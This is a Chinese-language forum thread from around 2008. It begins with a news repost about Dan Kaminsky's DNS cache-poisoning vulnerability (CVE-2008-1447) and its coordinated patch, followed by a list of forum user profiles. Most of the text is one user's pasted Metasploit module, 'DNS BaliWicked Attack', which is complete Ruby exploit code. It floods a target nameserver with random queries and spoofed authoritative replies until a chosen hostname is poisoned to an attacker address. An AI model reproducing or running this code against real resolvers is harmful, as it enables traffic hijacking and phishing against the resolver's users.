据国外媒体报道，计算机业巨头正急于修补一个互联网漏洞，该漏洞使黑客有可能控制网络流量。
各大软、硬件生产商为此已秘密协同工作了几个月，并于周二发布了一个软件补丁以修复该漏洞。
安全顾问公司Securosis分析师里奇·莫古尔(Rich Mogul)称：“这是一个十分严峻的问题，涉及到整个域名框架如何运行。如果不修复这一漏洞，互联网仍将存在，但已不再是你想要的互联网了——黑客将控制一切。”
“网络钓鱼”者将因此感到高兴，因为该漏洞能把互联网用户引导至伪造的银行或信用卡公司页面，骗取银行帐号、密码及其他信息。不管用户输入的网址是什么，黑客都可以利用这一漏洞将其引到他们想要用户去的任何地方。
网络安全产品和服务提供商IOActive安全研究员丹·卡明斯基(Dan Kaminsky)大约六个月前发现了域名系统的这一漏洞，并与微软、Sun和思科等业内巨头取得了联系，就解决方案问题展开合作。
每台与互联网相连的计算机都使用域名系统，其工作原理类似于电话系统将来电接入特定电话号码。
卡明斯基称：“人们应当关心此事，但不必恐慌，我们已尽可能争取到足够的时间，供人们测试和安装补丁。如此重大的问题以前从未有过。”
DNS漏洞测试： http://www.doxpara.com/
DNS漏洞补丁： http://securosis.com/2008/07/08/dan-kam ... -released/
DNS存漏洞黑客可能控制网络流量
-
dogfox
- 论坛版主
- 帖子： 5311
- 注册时间： 2006-09-02 14:18
- 来自： 汉桑城
- 联系：
-
BigSnake.NET
- 帖子： 12522
- 注册时间： 2006-07-02 11:16
- 来自： 廣州
- 联系：
-
TonyGao
- 帖子： 55
- 注册时间： 2005-04-11 10:07
- 联系：
-
佚之狐L
- 帖子： 840
- 注册时间： 2008-01-28 13:02
-
佚之狐L
- 帖子： 840
- 注册时间： 2008-01-28 13:02
-
sevk
- 帖子： 2060
- 注册时间： 2007-05-08 16:26
- 系统： arch
- 来自： 火星内核某分子内某原子核内
- 联系：
-
JangMunho
- 帖子： 1347
- 注册时间： 2006-01-18 12:55
- 来自： 也许真的没有人理解
-
angelus
- 帖子： 445
- 注册时间： 2007-08-27 17:31
-
hxxirqwy
- 帖子： 95
- 注册时间： 2008-02-01 14:34
代码： 全选
require 'msf/core'
2 require 'net/dns'
3 require 'scruby'
4 require 'resolv'
5
6 module Msf
7
8 class Auxiliary::Spoof::Dns::BaliWickedHost < Msf::Auxiliary
9
10 include Exploit::Remote::Ip
11
12 def initialize(info = {})
13 super(update_info(info,
14 'Name' => 'DNS BaliWicked Attack',
15 'Description' => %q{
16 This exploit attacks a fairly ubiquitous flaw in DNS implementations which
17 Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single
18 malicious host entry into the target nameserver by sending random sub-domain
19 queries to the target DNS server coupled with spoofed replies to those
20 queries from the authoritative nameservers for the domain which contain a
21 malicious host entry for the hostname to be poisoned in the authority and
22 additional records sections. Eventually, a guessed ID will match and the
23 spoofed packet will get accepted, and due to the additional hostname entry
24 being within baliwick constraints of the original request the malicious host
25 entry will get cached.
26 },
27 'Author' => [ 'I)ruid', 'hdm' ],
28 'License' => MSF_LICENSE,
29 'Version' => '$Revision$',
30 'References' =>
31 [
32 [ 'CVE', '2008-1447' ],
33 [ 'US-CERT-VU', '8000113' ],
34 [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.html' ],
35 ],
36 'Privileged' => true,
37 'Targets' =>
38 [
39 ["BIND",
40 {
41 'Arch' => ARCH_X86,
42 'Platform' => 'linux',
43 },
44 ],
45 ],
46 'DisclosureDate' => 'Jul 21 2008'
47 ))
48
49 register_options(
50 [
51 OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
52 OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.doxpara.com']),
53 OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
54 OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
55 OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
56 OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
57 ], self.class)
58
59 end
60
61 def auxiliary_commands
62 return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
63 end
64
65 def cmd_check(*args)
66 targ = args[0] || rhost()
67 if(not (targ and targ.length > 0))
68 print_status("usage: check [dns-server]")
69 return
70 end
71
72 print_status("Using the Metasploit service to verify exploitability...")
73 srv_sock = Rex::Socket.create_udp(
74 'PeerHost' => targ,
75 'PeerPort' => 53
76 )
77
78 random = false
79 ports = []
80 lport = nil
81
82 1.upto(5) do |i|
83
84 req = Resolv::DNS::Message.new
85 txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
86 req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
87 req.rd = 1
88
89 srv_sock.put(req.encode)
90 res, addr = srv_sock.recvfrom()
91
92
93 if res and res.length > 0
94 res = Resolv::DNS::Message.decode(res)
95 res.each_answer do |name, ttl, data|
96 if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
97 t_addr, t_port = $1.split(':')
98
99 print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
100 t_port = t_port.to_i
101 if(lport and lport != t_port)
102 random = true
103 end
104 lport = t_port
105 ports << t_port
106 end
107 end
108 end
109 end
110
111 srv_sock.close
112
113 if(ports.length < 5)
114 print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
115 return
116 end
117
118 if(random)
119 print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
120 print_status(" This server may still be exploitable, but not by this tool.")
121 else
122 print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
123 end
124 end
125
126 def run
127 target = rhost()
128 source = Rex::Socket.source_address(target)
129 sport = datastore['SRCPORT']
130 hostname = datastore['HOSTNAME'] + '.'
131 address = datastore['NEWADDR']
132 recons = datastore['RECONS']
133 xids = datastore['XIDS'].to_i
134 ttl = datastore['TTL'].to_i
135
136 domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]
137
138 srv_sock = Rex::Socket.create_udp(
139 'PeerHost' => target,
140 'PeerPort' => 53
141 )
142
143 # Get the source port via the metasploit service if it's not set
144 if sport.to_i == 0
145 req = Resolv::DNS::Message.new
146 txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
147 req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
148 req.rd = 1
149
150 srv_sock.put(req.encode)
151 res, addr = srv_sock.recvfrom()
152
153 if res and res.length > 0
154 res = Resolv::DNS::Message.decode(res)
155 res.each_answer do |name, ttl, data|
156 if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
157 t_addr, t_port = $1.split(':')
158 sport = t_port.to_i
159
160 print_status("Switching to target port #{sport} based on Metasploit service")
161 if target != t_addr
162 print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
163 end
164 end
165 end
166 end
167 end
168
169 # Verify its not already cached
170 begin
171 query = Resolv::DNS::Message.new
172 query.add_question(hostname, Resolv::DNS::Resource::IN::A)
173 query.rd = 0
174
175 begin
176 cached = false
177 srv_sock.put(query.encode)
178 answer, addr = srv_sock.recvfrom()
179
180 if answer and answer.length > 0
181 answer = Resolv::DNS::Message.decode(answer)
182 answer.each_answer do |name, ttl, data|
183 if((name.to_s + ".") == hostname and data.address.to_s == address)
184 t = Time.now + ttl
185 print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
186 print_status(" Cache entry expires on #{t.to_s}... sleeping.")
187 cached = true
188 sleep ttl
189 end
190 end
191 end
192 end until not cached
193 rescue ::Interrupt
194 raise $!
195 rescue ::Exception => e
196 print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
197 end
198
199 res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
200
201 print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
202
203 # Look up the nameservers for the domain
204 print_status "Querying recon nameserver for #{domain}'s nameservers..."
205 answer0 = res0.send(domain, Net::DNS::NS)
206 #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
207
208 barbs = [] # storage for nameservers
209 answer0.answer.each do |rr0|
210 print_status " Got an #{rr0.type} record: #{rr0.inspect}"
211 if rr0.type == 'NS'
212 print_status "Querying recon nameserver for address of #{rr0.nsdname}..."
213 answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
214 #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
215 answer1.answer.each do |rr1|
216 print_status " Got an #{rr1.type} record: #{rr1.inspect}"
217 res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
218 print_status "Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
219 answer2 = res2.send(domain)
220 if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
221 nsrec = {:name => rr0.nsdname, :addr => rr1.address}
222 barbs << nsrec
223 print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
224 end
225 end
226 end
227 end
228
229 if barbs.length == 0
230 print_status( "No DNS servers found.")
231 srv_sock.close
232 disconnect_ip
233 return
234 end
235
236 # Flood the target with queries and spoofed responses, one will eventually hit
237 queries = 0
238 responses = 0
239
240 connect_ip if not ip_sock
241
242 print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
243
244 while true
245 randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname
246
247 # Send spoofed query
248 req = Resolv::DNS::Message.new
249 req.id = rand(2**16)
250 req.add_question(randhost, Resolv::DNS::Resource::IN::A)
251
252 req.rd = 1
253
254 buff = (
255 Scruby::IP.new(
256 #:src => barbs[0][:addr].to_s,
257 :src => source,
258 :dst => target,
259 :proto => 17
260 )/Scruby::UDP.new(
261 :sport => (rand((2**16)-1024)+1024).to_i,
262 :dport => 53
263 )/req.encode
264 ).to_net
265 ip_sock.sendto(buff, target)
266 queries += 1
267
268 # Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
269 req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
270 req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
271 req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
272 req.qr = 1
273 req.ra = 1
274
275 p = rand(4)+2*10000
276 p.upto(p+xids-1) do |id|
277 req.id = id
278 barbs.each do |barb|
279 buff = (
280 Scruby::IP.new(
281 #:src => barbs[i][:addr].to_s,
282 :src => barb[:addr].to_s,
283 :dst => target,
284 :proto => 17
285 )/Scruby::UDP.new(
286 :sport => 53,
287 :dport => sport.to_i
288 )/req.encode
289 ).to_net
290 ip_sock.sendto(buff, target)
291 responses += 1
292 end
293 end
294
295 # status update
296 if queries % 1000 == 0
297 print_status("Sent #{queries} queries and #{responses} spoofed responses...")
298 end
299
300 # every so often, check and see if the target is poisoned...
301 if queries % 250 == 0
302 begin
303 query = Resolv::DNS::Message.new
304 query.add_question(hostname, Resolv::DNS::Resource::IN::A)
305 query.rd = 0
306
307 srv_sock.put(query.encode)
308 answer, addr = srv_sock.recvfrom()
309
310 if answer and answer.length > 0
311 answer = Resolv::DNS::Message.decode(answer)
312 answer.each_answer do |name, ttl, data|
313 if((name.to_s + ".") == hostname and data.address.to_s == address)
314 print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
315 disconnect_ip
316 return
317 end
318 end
319 end
320 rescue ::Interrupt
321 raise $!
322 rescue ::Exception => e
323 print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
324 end
325 end
326
327 end
328
329 end
330
331 end
332 end